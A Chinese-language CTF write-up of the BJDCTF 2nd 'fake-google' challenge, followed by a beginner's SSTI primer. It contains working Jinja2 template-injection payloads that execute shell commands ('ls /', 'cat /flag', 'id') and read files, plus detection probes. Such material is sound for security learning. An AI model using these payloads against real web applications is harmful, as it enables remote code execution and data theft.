0%

BJDCTF-2nd-fake-google

0X01 打开靶机

1

发现无论输入什么字符他都不会过滤(xss除外 ),在输出界面找到ssti注入的提示

3

0X02 直接用ssti日就对了!🤠

  • 查看根目录
1
2
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

4

ls后台文件出现flag

  • 构造playload,查看flag
1
2
3

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

1
P3's girlfirend is : flag{4d59689e-7751-4ee4-8daa-f4d8c8de99e2}

SSTI学习🇭🇺

像上面的题目的套路一般直接找playload注入

  • 常用playload:

1
2
3
命令执行:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} 

文件操作:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

萌新入门ssti必看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
测试是否存在ssti注入 {{1+1}}  #回复页面为2说明存在ssti注入
查询: {{''.__class__}}
查看可用模块: {{().__class__.__bases__[0].__subclasses__()}}
查找危险函数: {{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}

相关函数解释
__class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块



欢迎关注我的其它发布渠道